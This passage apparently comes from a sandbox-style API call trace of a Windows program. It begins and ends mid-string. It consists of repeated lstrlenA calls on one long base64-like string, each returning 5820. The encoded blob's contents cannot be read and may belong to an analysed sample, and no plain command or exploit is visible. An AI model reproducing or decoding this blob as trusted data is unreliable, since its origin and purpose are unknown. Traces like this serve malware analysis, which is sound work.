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") returned 5820
	[0084.638] lstrlenA (lpString="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") returned 5820
	[0084.638] lstrlenA (lpString="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") returned 5820
	[0084.638] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxy